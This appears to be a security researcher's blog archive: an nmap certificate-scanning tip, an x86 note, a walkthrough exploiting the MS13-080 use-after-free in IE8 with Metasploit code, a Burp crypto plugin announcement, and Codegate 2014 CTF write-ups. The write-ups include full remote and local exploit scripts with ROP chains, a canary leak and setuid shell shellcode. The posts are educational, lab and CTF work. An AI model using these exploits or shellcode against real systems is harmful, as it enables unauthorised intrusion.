RDP Cert Scan with nmap

We recently had a red team where we had a lot of RDP endpoints, but not many other endpoints. We had some time pressure, so we looked to see if nmap had a script (we didn’t see one) and wrote a python script that grabbed the cert names. This is a good way to guess at internal hostnames. With our python script, it was also slow.

Anyway after the engagement I was thinking about writing this up as an NSE and looked more carefully at the existing nmap scripts. It turns out it’s already there with ssl-cert. I couldn’t find a command line switch to force nmap to run a script on a port, but it’s easy enough to edit the scripts themselves.

If you want port 3389 to check out the cert, edit shortport.lua (path on my box is /usr/share/nmap/nseLib/) and add it

local LIKELY_SSL_PORTS = {
  443, 465, 587, 636, 989, 990, 992, 993, 994, 995, 5061, 6679, 6697, 8443,
  9001, 3389
}

Also, you may want to try and grab certs off any port. In that case you can just return true regardless of port. In [/usr/share/nmap/script/]ssl-cert.nse

portrule = function(host, port)
  --return shortport.ssl(host, port) or sslcert.isPortSupported(port)
  return true
end

You can run it like this, and use any of the output that nmap does, so it’s simple to parse out.

nmap --script=ssl-cert  -Pn -p 57008 combat.cloudapp.net 

Starting Nmap 6.47 ( http://nmap.org ) at 2015-04-01 13:48 PDT
Nmap scan report for combat.cloudapp.net (104.42.2.122)
Host is up (0.030s latency).
PORT      STATE SERVICE
57008/tcp open  unknown
| ssl-cert: Subject: commonName=combat
| Issuer: commonName=combat
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2015-01-07T00:43:38+00:00
| Not valid after:  2015-07-08T23:43:38+00:00
| MD5:   c44a 7db5 5b74 ee63 d7bf 324d bc21 47d6
|_SHA-1: b865 1880 79d6 56bd e876 7006 ece0 f1fd a1bf 551e

Pop ESP

I came across a pop esp in real code, which I think is a kind of confusing instruction. i.e. What is the value of esp after the following?

push    0x0400
pop     esp

What does pop esp do? People who look at x86 asm more than me no doubt know. But to understand let’s look at what pop eax basically does.

add esp, 4       ;"instruction" 1
mov eax, [esp]   ;"instruction" 2

What is the order of operations here? There could be two solutions – it could be 0x0400 (if it increments esp first – instruction 1 then 2) – or esp could be 0x0404 (if the increment is second – instruction 2 then 1).

It turns out the second is what happens. So if you guessed that esp is 0x0400, you’re right!

Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8 winxpsp3

A use after free bug is when an application uses memory (usually on the heap) after it has been freed. In various scenarios, attackers can influence the values in that memory, and code at a later point will use it with a broken reference.

This is an introductory post to use after free – walking through an exploit. Although there are a million posts about the class of bug, not many are hands on (and this one is). I’ve been spending some free time over the past month looking into use after free type bugs. I’m a noob in this space so please call out/forgive mistakes.

Setup

Install a windows xpsp3 VM without updates. I got the vulnerable version of IE from this totally legit looking site, http://www.oldapps.com/internet_explorer.php?old_internet_explorer=17. When installing, make sure you disconnect the internet connection so it doesn’t update, which it will do otherwise.

We begin with this https://gist.github.com/wchen-r7/6758172, which should give us a crash that looks something like the following:

(31c.8f0): Access violation - code c0000005 (!!! second chance !!!)
eax=028601c5 ebx=001e8520 ecx=02ff0801 edx=020be80c esi=636397e4 edi=63662c78
eip=63662dca esp=020be7ec ebp=020be810 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
mshtml!CTreeNode::GetInterface+0xb6:
63662dca ff11            call    dword ptr [ecx]      ds:0023:02ff0801=????????
0:008> ub
mshtml!CTreeNode::GetInterface+0xa2:
63662db6 f3a7            repe cmps dword ptr [esi],dword ptr es:[edi]
63662db8 0f84c9f31800    je      mshtml!CTreeNode::GetInterface+0x1e9 (637f2187)
63662dbe 8b03            mov     eax,dword ptr [ebx]
63662dc0 8b08            mov     ecx,dword ptr [eax]
63662dc2 8d55fc          lea     edx,[ebp-4]
63662dc5 52              push    edx
63662dc6 ff750c          push    dword ptr [ebp+0Ch]
63662dc9 50              push    eax
0:008> k
ChildEBP RetAddr  
020be810 63662d3a mshtml!CTreeNode::GetInterface+0xb6
020be828 635f3fe4 mshtml!CTreeNode::NodeAddRef+0x24
020be8ac 637fd38f mshtml!CDoc::PumpMessage+0x4a3
020be968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
020be990 638e5dab mshtml!CElement::setCapture+0x50
...

Based on the crash, this is most likely either a use after free where ecx could be a pointer to a table of function pointers (although for me at this point it is difficult to tell the difference between this and a null ptr dereference).

Investigation

Let’s take a second to analyze.

The first step is to turn on pageheap and user mode stack tracing for iexplore.exe using gflags. pageheap will monitor all heap memory operations, allowing us to see when our application is trying to access the freed memory immediately (it will crash sooner – a good writeup on what’s going on is here) and also see some additional info, such as the sizes of the allocations and stack traces involved.

gflags

Running the same file, you will get a different crash now.

(40c.a04): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=39fae8d0 ecx=335006a8 edx=39fae608 esi=00000000 edi=0d5b6fb0
eip=635f4478 esp=39fae820 ebp=39fae828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::HasContainerCapture+0x14:
635f4478 8b0f            mov     ecx,dword ptr [edi]  ds:0023:0d5b6fb0=????????
0:008> k
ChildEBP RetAddr  
037ce828 635f5887 mshtml!CDoc::HasContainerCapture+0x14
037ce8ac 637fd38f mshtml!CDoc::PumpMessage+0x3e2
037ce968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
037ce990 638e5dab mshtml!CElement::setCapture+0x50

We are crashing earlier, at the setCapture functions from our Javascript which is trying to reference memory that was freed in the earlier document.write. We can verify this with windbg.

Using the info stored in heaplib, we can use this to find the size of the chunk

0:023> .printf "0x%x", 1000 - edi & 0xFFF
0x50

Because we want to replace a piece of memory 0x50 big, we can modify our script to add the following.

<html>
<script>

lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
  lfh[i] = document.createElement('div');
  lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
 

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");

    tt = new Array(20);
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className = "\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424";
    }
  }
 
  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture();
}
 
window.onload = function() {
  trigger();
}
</script>
</html>

We will now get a crash that looks like this:

(be0.9e4): Access violation - code c0000005 (!!! second chance !!!)
eax=24242424 ebx=001e83e8 ecx=00000003 edx=00000000 esi=636397e4 edi=63662c78
eip=63662dc0 esp=020be7f8 ebp=020be810 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
mshtml!CTreeNode::GetInterface+0xac:
63662dc0 8b08            mov     ecx,dword ptr [eax]  ds:0023:24242424=????????
mshtml!CTreeNode::GetInterface+0xac:
63662dc0 8b08            mov     ecx,dword ptr [eax]
63662dc2 8d55fc          lea     edx,[ebp-4]
63662dc5 52              push    edx
63662dc6 ff750c          push    dword ptr [ebp+0Ch]
63662dc9 50              push    eax
63662dca ff11            call    dword ptr [ecx]
63662dcc 8bf0            mov     esi,eax
63662dce 85f6            test    esi,esi

This is just a few instructions before our call [ecx]. So to get EIP, we need to point eax to a valid value that points to where we want to start executing. We should be able to do this with a heap spray (maybe not ideal, but easy), then a stack pivot to this address where we can execute our ROP. Because we are modifying a metasploit payload, let’s just do everything the metasploit way, which I’ll cover in the next section.

Metasploit browser Detection, Heap Spray, and ROP

Because we are modifying a metasploit module, let’s just use all their builtin stuff and do this the metasploit way.

First thing we need to do is detect the browser, which is described here. In the msf module, there was existing parameters to detect windows 7 IE9, so we have to configure it to also accept windows XP with IE8.

    'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'Windows 7 with Office 2007|2010',
            {
              :os_name   => /win/i,
              :ua_name   => HttpClients::IE,
              :ua_ver    => "9.0",
              :os_flavor => "7",
              :office    => /2007|2010/
            }
          ],
          [
            'Windows XP with IE 8',
            {
              :os_name   => "Windows XP",
              :ua_name   => HttpClients::IE,
              :ua_ver    => "8.0";
            }
          ]
        ],

Heap spraying is the process of throwing a bunch of crap on the heap in a predictable way. Again, metasploit can do this for us. This is described here. We can also get rid of our lfh allocation at the beginning because js_property_spray will take care of it for us. The docs say a reliable address is 0x20302020, so we’ll just use that.

At this point you should be able to have eip control (eip=0x414141) using something like this

  def get_exploit_html_ie8(cli, target_info)
    #address containing our heap spray is 0x20302020
    spray_addr = "\\u2020\\u2030"

    #size to fill after free is 0x50
    free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2) 

    %Q|
<html>
<script>

#{js_property_spray}
tt = new Array(30);

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");
    
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className ="#{free_fill}";
    } 

  var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");  //this is mangled thanks to wordpress, but is just escaped js strings
  sprayHeap({shellcode:s});
  }

  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture(); 
}
 
window.onload = function() {
  trigger();
}
</script>
</html>
    |
  end

Finally, we just need rop, which msf also has (if you’re interested in learning how to ROP, this is a good tutorial). ROP with heap sprays are generally really easy (as long as you know a base address). This is not like a stack overflow where we need to do shenanigans, we just put stuff in order on our heap spray and we don’t have to worry about null bytes, etc etc. Nevertheless, metasploit has builtin RopDB for Windows XP where the addresses are constant, using msvcrt. https://dev.metasploit.com/api/Rex/Exploitation/RopDb.html.

To connect everything, we just need a stack pivot, meaning we need esp to point to our heap that we control. right now eax points to our heap of course, so we can look for something that moves eax to esp (there are several ways to do this, mov esp, eax | xchg eax, esp | push eax then pop esp, etc.). Let’s just look in msvcrt since we’re using that dll to virtualprotect later anyway. I usually use rp++ for this although I had mona loaded so I did search through that (unfortunately not able to find something I could use in msvcrt with mona). Searching for output with rp++ I found

0x77c3868a
xchg eax, esp
rcr dword [ebx-0x75], 0xFFFFFFC1
pop ebp 
ret  

This will work great. Now just put them in the right order, and we have our exploit!

msf_msgbox

I put in a pull request for this into metasploit so you can see the “final” version here, although it hasn’t yet been reviewed or accepted at the time I’m writing this. Of course this is largely useless for practical purposes, but it is a pretty good way to learn the basics of use after free IMO. Many vulns affect multiple versions of a browser, so it’s a fun exercise to port the bugs to different versions.

Follow-Ups

Some of my favorite work in this space is done by Peter Vreugdenhil at exodusintel. For a more advanced UAF (from someone who knows WAY more about browser exploitation than I do) see http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/

I plan on doing a part II here, perhaps trying to touch on memory leaks and newer browsers. Stay tuned…

Crypto Attacker Burp Plugin

I recently wrote a burp plugin for common crypto attacks in web apps. Check out the code on github (I also submitted to BApp store a couple days ago). I hope to add more modules as time goes on, but to start with, here is what it has:

  • Active Scanning to detect padding Oracle attacks
  • Active Scanning capabilities to detect input being encrypted with ECB and reflected back (can be slow)
  • Attack tab to encrypt/decrypt padding oracles
  • Attack tab to decrypt ECB where you control part of the request

Here are some slides about it, and giving some background on the attacks it’s doing:

And some screenshots of it in action:

Scan

config

Decrypt

EncryptPNG

I hope this is useful to some of you!

Belated Codegate 2014 Quals Writeups and Lessons Learned

The local challenges can be grabbed from here and various other writeups are online. I was off on the timing for this one, so I only dove into most the challenges on Sunday morning… right before codegate ended and after it ended. I did pretty terrible rank-wise, but I thought the challenges were fun anyway and solved some after the codegate was over.

I learn new things almost every CTF, even if it’s sometimes just things that make sense intuitively but I’ve just never thought about before or forgotten. Here are some lessons learned from codegate.

  • stack canaries on linux stay constant and you can get them with an info leak. On windows there is more entropy and this wouldn’t have been as straightforward (see Pwn 250)
  • ulimit -s pretty much defeats ASLR if you’re local. Also, there are areas you can overwrite in this space, like in the syscall mappings, to control the instruction pointer (See Pwn 350 and Pwn 400)
  • To control the number of bytes output locally, you can use non-blocking sockets (see Pwn 400)
  • gdb really can’t find gs: segments very well, but there are usually workarounds (see Pwn 350)
  • You can’t call openprocess with all access on a process being debugged (i.e. you can’t open two debuggers on the same process, even if it’s been forked) but you can openprocess with PROCESS_VM_READ. (reversing 250 – although I ended up going a different route)
  • I wrote a Pykd script that can be called on a windbg breakpoint and continue based on python stuff e.g. you could do a conditional break on a regex which seems tough in windbg without writing a script. (see reversing 250)
  • SQLmap has a cool testbed where you can test your sql syntax, available at https://github.com/sqlmapproject/testenv (used to test web 500)

Reversing 200 dodoCrackme

Running strace

$ strace ./crackme_d079a0af0b01789c01d5755c885da4f6 
execve("./crackme_d079a0af0b01789c01d5755c885da4f6", ["./crackme_d079a0af0b01789c01d575"...], [/* 37 vars */]) = 0
mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff6000
write(1, "r", 1r)                        = 1
write(1, "o", 1o)                        = 1
write(1, "o", 1o)                        = 1
write(1, "t", 1t)                        = 1
write(1, "@", 1@)                        = 1
write(1, "l", 1l)                        = 1
write(1, "o", 1o)                        = 1
write(1, "c", 1c)                        = 1
write(1, "a", 1a)                        = 1
write(1, "l", 1l)                        = 1
write(1, "h", 1h)                        = 1
write(1, "o", 1o)                        = 1
write(1, "s", 1s)                        = 1
write(1, "t", 1t)                        = 1
write(1, "'", 1')                        = 1
write(1, "s", 1s)                        = 1
write(1, " ", 1 )                        = 1
write(1, "p", 1p)                        = 1
write(1, "a", 1a)                        = 1
write(1, "s", 1s)                        = 1
write(1, "s", 1s)                        = 1
write(1, "w", 1w)                        = 1
write(1, "o", 1o)                        = 1
write(1, "r", 1r)                        = 1
write(1, "d", 1d)                        = 1
write(1, ":", 1:)                        = 1
...

it looks like they’re doing syscalls for every character written and read

Most of the binary is garbage, but you can see clusters of syscalls where the output and input happen. Looking in IDA, there are four clusters of syscalls. One outputs the fail, one outputs “Enter root password”, one is a huge loop that inputs the password, and one outputs winner.

With gdb, I recorded executions and executed backworkds until I was in the giant input loop. At that point I started searching for the password was as an offset to rbp, since this is how it outputs strings as syscalls. Sure enough, I found it pretty quickly.


import gdb
import binascii
import sys


def read_weird_string(start_addr, spacing=8, block=100):
    a = gdb.selected_inferior().read_memory(start_addr, block * spacing)
    #for i in range(0,block):
    #   print
    #print help(a)
    for i in a:
        if i == "\x00":
            continue
        sys.stdout.write(i)
    print
    print binascii.hexlify(a)


read_weird_string(0x7ffff7ff9b50) #this is $rbp - around 50
gdb-peda$ source decode_string.py 
H4PPY_C0DEGaTE_2014_CU_1N_K0RE4

Reversing 250 Clone Technique

This one has on the description: “Limited processes will be generated. Which one has the flag?”

We can see in the main function that it will call createProcessW in a loop that lasts 0x190 iterations, so that’s our number of processes.

12c

Each process is called with three args, #randomlookingnumber# #randomlookingnumber# #counter#, where counter is 0,1,2,…

One thing I tried to do throughout this was put a breakpoint on memory access. For example,

ba w4 00409754

The value would change, but the breakpoint is never hit. Crazy! After some investigation with Joe, we eventually figured out this is because ba works by putting a break in one of four registers per processes. In our case, the memory is written to using a call to WriteProcessMemory, and the kernel is writing the memory, so our breakpoint is never hit.

Investigating this led to the cinit function, which is called before main and contains the calls to writeprocessmemory. It starts with code that grabs the command line args if they exist (and if not sets them to the first value. It then pushes them along with this interesting data string to a function, messes with a string it returns, and then 0s out that string. Even without looking at what the decode_func is doing, it looks like a likely place for a key!

decode_func

My strategy was then to attach windbg to every one of these forked processes by turning childdbg on, changing the filters to control when it breaks, and set a breakpoint right before the rep stosd. I then wrote a python script to see if this is a candidate for the key.

>type windbg.txt
.childdbg 1
.load pykd.pyd
sxr
sxe -c "bp 00401201 \"!py iskey.py\";g"  ibp
sxi epr

>type iskey.py
#!/usr/bin/python

import pykd
import struct
import binascii

def is_possible_key(mstr):
  try:
    mstr = mstr[:mstr.index(0)]
  except ValueError:
    return False
  print mstr
  for i in mstr:
    if not (i >= 0x20 and i <= 0x7e):
      return False
  if len(mstr) > 5:
    print "".join([chr(i) for i in mstr])
    return True
  return False

edi = pykd.reg("edi")
a = pykd.loadBytes(edi,30)
if is_possible_key(a):
  print "KEYKEYKEYKEYKEYKEY"
else:
  pykd.dbgCommand("g")

>windbg -c "$$><windbg.txt" clone_technique.exe

This finds our key ‘And Now His Watch is Ended’

Forensics 150

Ok, so our file is a pcap-ng apparently based on the magic bytes, but it doesn’t open with wireshark

0-weirdcap

First I ran foremost on the file, which detected a pdf and a bmp. I then ran a few tools found here http://www.forensicswiki.org/wiki/PDF on the pdf but no luck. Looking at it, it’s

for150_1

Ok, so we might have to fix the pcap-ng file to view this correctly. I don’t know much about the format, but I opened it in a hex editor and searched for DWORD hex(4270407998), which is \x3e \x41 \x89 \xfe. I replaced this with DWORD 96 and got a similar error. Then I kind of brute forced – set it to 0x30 and got a different error. 0x40 gave a too big error. It took about 10 tries of manual binary searching, and then I got a format I could open in wireshark and follow the tcp stream.

for150_2

Then just save the pdf part to a file and we get the key

for150_3

Pwn 250 Angy Doraemon

This was a fun, relatively straightforward challenge. It’s a remote exploit. The bug is in the mouse function. When it reads the answer to “are you sure?” it reads 0x6E bytes into a buffer only a few bytes big.

doremon

The hard part is you have to bypass a non-executable stack and a stack canary. This is possible via an info leak. Because we can write over the end of our string, we can see other values on the stack, such as the canary and the fd. One interesting thing I learned is how on Linux the stack canary seems to be constant per process (on windows, as Matt Miller said, Windows cookies are basically an XOR’d combination of the current system time, process identifier, thread identifier, tick count, and performance counter.)

So you leak the canary, then you have to rop a payload. execl is in the .got, and I used some fancy redirecting to send the output right back through the socket. You need the file descriptor, but it’s on the stack and you need it anyway I think to do a read from the socket.

#!/usr/bin/python

import argparse
import struct
import socket
import binascii
import time

class exploit:
  def __init__(self, args):
    self.command = args.command

    if args.fd == None:
      self.get_fd()
    else:
      self.fd = args.fd

    if args.canary == None:
      self.get_canary()
    else:
      self.canary = binascii.unhexlify(args.canary)

    self.pwn()
    
  def get_canary(self):
    self.canary = ""
    padding = "yAAAAAAAAA"
    #doing one byte at a time simplifies cases where there are null bytes
    for i in range(0,4):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((args.host, args.port))
      data = self.recv_until(">", sock)
      sock.sendall("4")

      self.recv_until("(y/n) ", sock)
      sock.sendall(padding)
      data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
      if len(data) == 58 + i:
        self.canary += "\x00"
      else:
        self.canary += data[22+i]
      padding += "A"
      sock.close()
    print "canary: ", binascii.hexlify(self.canary)

  def get_fd(self):
    self.canary = ""
    padding = "yAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    sock.sendall("4")

    self.recv_until("(y/n) ", sock)
    sock.sendall(padding)
    data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
    sock.close()
    self.fd = ord(data[42])
    print "fd: ", self.fd

  def pwn(self):

    rop = struct.pack("<I", 0x08048620)       # read plt
    rop += struct.pack("<I", 0x8048b2c)       # pop 3 ret
    rop += struct.pack("<I", self.fd)         # fd
    rop += struct.pack("<I", 0x804b508)       # buf 
    rop += struct.pack("<I", 0x256)           # nbytes
    rop += struct.pack("<I", 0x08048710)      # execl
    rop += struct.pack("<I", 0x41424142)      # ret
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x804b508)       # buf "-c"
    rop += struct.pack("<I", 0x804b508 + 3)   # buf "command"
    rop += struct.pack("<I", 0x0000000)       # null

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    sock.sendall("4")
    self.recv_until("(y/n) ", sock)

    padding = "yAAAAAAAAA"
    padding += self.canary
    padding += "B" * 12
    sock.sendall(padding + rop)

    self.command += " 0<&{0} 1>&{0}".format(self.fd) #redirect output to our socket
    sock.sendall("-c\x00{0}\x00".format(self.command))

    data = sock.recv(1024)   
    print data
    sock.close() 

  def recv_until(self, string, sock):
    data = ""
    while True:
      tmp = sock.recv(1)
      if tmp == "":
        break
      data += tmp
      if data.endswith(string):
        break
    return data


parser = argparse.ArgumentParser()
parser.add_argument("--host", default="192.168.137.150")
parser.add_argument("--port", default=8888)
parser.add_argument("--canary", default=None)
parser.add_argument("--command", default="whoami")
parser.add_argument("--fd", default=None, type=int)
args = parser.parse_args()

m = exploit(args)

Pwn 350 4stone

This is a binary that plays a game locally, sort of like connect 4. All the interesting things happen if you win the game with 0 time (which you can do with a constant strategy – this took me longer than it should have). If you do win, it grabs some input from stdin.

4stone_numseconds

As you can see from the following snippet, you get an “arbitrary” write (marked in red). There is a catch though. You can write anywhere, as long as it doesn’t start with 0x804, or 0x0b.

4stone_write

The stack is executable, so if we could overwrite anything, then we’d be sitting good. Unfortunately, most everything by default starts at 0x804 or 0x0b.

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0xb7dc2000 0xb7dc3000 rwxp	mapped
0xb7dc3000 0xb7dc6000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc6000 0xb7dc7000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc7000 0xb7dc8000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc8000 0xb7f76000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f76000 0xb7f78000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f78000 0xb7f79000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f79000 0xb7f7d000 rwxp	mapped
0xb7f7d000 0xb7f9b000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9b000 0xb7f9c000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9c000 0xb7f9e000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9e000 0xb7f9f000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9f000 0xb7fc2000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc2000 0xb7fc3000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc3000 0xb7fc4000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fdb000 0xb7fdd000 rwxp	mapped
0xb7fdd000 0xb7fde000 r-xp	[vdso]
0xb7fde000 0xb7ffe000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7ffe000 0xb7fff000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7fff000 0xb8000000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0xbffdf000 0xc0000000 rwxp	[stack]

hmmm, we can write to the heap, but that’s tough. What can we do locally? My initial thought was to make the stack big enough so it wasn’t in the 0x0b range, then potentially overwrite a return pointer. There’s aslr on, but we might be able to brute force it. So I started filling up the stack with an execve call, but hit a limit. Ok, we can set this with ulimit. I tried this, and set it to unlimited, and something interesting happened. The mapping then looks something like this:

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0x40000000 0x40020000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40020000 0x40021000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40021000 0x40022000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0x40022000 0x40023000 r-xp	[vdso]
0x40023000 0x40025000 rwxp	mapped
0x4003c000 0x4005f000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x4005f000 0x40060000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40060000 0x40061000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40061000 0x4007f000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x4007f000 0x40080000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40080000 0x40082000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40082000 0x40083000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40083000 0x40084000 rwxp	mapped
0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40232000 0x40234000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40234000 0x40235000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0x40235000 0x40238000 rwxp	mapped
0x40238000 0x4023b000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023b000 0x4023c000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023c000 0x4023d000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023d000 0x4023e000 rwxp	mapped
0xbffdf000 0xc0000000 rwxp	[stack]

And a lot of these addresses, like libc, don’t change, even with ASLR! (apparently this is well known, but this is the first I’ve seen it). So where can we write in one of methods? The only function call after our arbitrary write is to exit, which makes a system call. Maybe we can overwrite that?

Tracing this, in the exit .got we have

0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so

   0x4013eb04 <_exit>:	mov    ebx,DWORD PTR [esp+0x4]
   0x4013eb08 <_exit+4>:	mov    eax,0xfc
=> 0x4013eb0d <_exit+9>:	call   DWORD PTR gs:0x10

It turns out gdb sucks at finding the actual address of gs:0x10 sections, so I stepped into it, or you can also find it like this http://stackoverflow.com/questions/10354063/how-to-use-a-logical-address-in-gdb by setting “catch syscall set_thread_area” and looking at the location. Doing this, we see 0x40022414 is mapped to <__kernel_vsyscall>

Because this is bound loosely we can look for references to this in the mapped region.

gdb-peda$ peda searchmem 0x40022414 mapped (searching for the syscall)
Found 1 results, display max 1 items:
mapped : 0x4023d6d0 --> 0x40022414 (<__kernel_vsyscall>:	push   ecx)

It looks like we could overwrite this and it would point somewhere else. Does it work?

gdb-peda$ set {int}0x4023d6d0=0x0c0c0c0c
gdb-peda$ continue 
Continuing.
...
Stopped reason: SIGSEGV
0x0c0c0c0c in ?? ()

Cool. So using this, we can put our shellcode in an environment variable, put a ton of nops there, and point to it. This was the final exploit

#!/usr/bin/python

import os
import argparse
import struct
import sys
from ctypes import *

class exploit:
  def __init__(self, args):
    self.vulnpath = args.path

    #stdin (wins the game and specifies what to write)
    f = open(args.inputfile, "w")
    f.write("\nhhh\nhh\nhh\nhhh\nh\nl\nhhhh\nl\nll\nh\n\n\n")
    #f.write("c0c0c0c0")  #what to write 
    f.write("bfab0b00")  #what to write 

    f.close()

    f = os.open(args.inputfile, int('444', 8))
    print f
    print sys.stdin
    os.dup2(f, 0)

    #arg1 (sepcifies where to write)   
    self.argv = "4023d6d0" 

    #environment (shellcode) /bin/sh setuid 1003
    dashsc = (
"\xdb\xc8\xd9\x74\x24\xf4\xbf\xa2\x35\xcc\x83\x5b\x31\xc9" +
"\xb1\x0b\x83\xeb\xfc\x31\x7b\x14\x03\x7b\xb6\xd7\x39\xb2" +
"\x76\xa7\x84\x0e\x9d\xcb\x08\x71\xd8\x27\x0b\x71\x1a\x75" +
"\x8c\x40\xda\xd5\xe5\x8d\xf5\xa6\x9d\xb9\x26\x2b\x37\x54" +
"\xb1\x48\x97\xfb\x48\x6f\x29\x2e\xfa\x7b\x87\x4e"
    )

    self.env = { "TERM": "xterm" }
    for i in range(0,100):
      self.env[str(i)] = "\x90" * 100000 + dashsc

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.argv], self.env)
    
parser = argparse.ArgumentParser()
parser.add_argument("--inputfile", default="input.txt")
parser.add_argument("--path")

args = parser.parse_args()
m = exploit(args)
m.pwn()

Pwn 400 minibomb

The overflow on this is straightforward, but the executable is tiny, and there’s not a lot of rop you can do. Using the ulimit -s unlimited trick, you only have a handful of gadgets.

gdb-peda$ x/4i 0x40000424
   0x40000424 <__kernel_vsyscall+16>:	pop    ebp
   0x40000425 <__kernel_vsyscall+17>:	pop    edx
   0x40000426 <__kernel_vsyscall+18>:	pop    ecx
   0x40000427 <__kernel_vsyscall+19>:	ret   
gdb-peda$ x/2i 0x080480F3
   0x80480f3:	mov    ebx,0x0
   0x80480f8:	int    0x80

We can control edx and ecx with the gadget at 0x40000425, and another interesting thing is we may be able to control ebx indirectly if we can write to unk_8049150

.text:080480B4 lea     ebx, unk_8049150 ; start
.text:080480BA int     80h             ; 

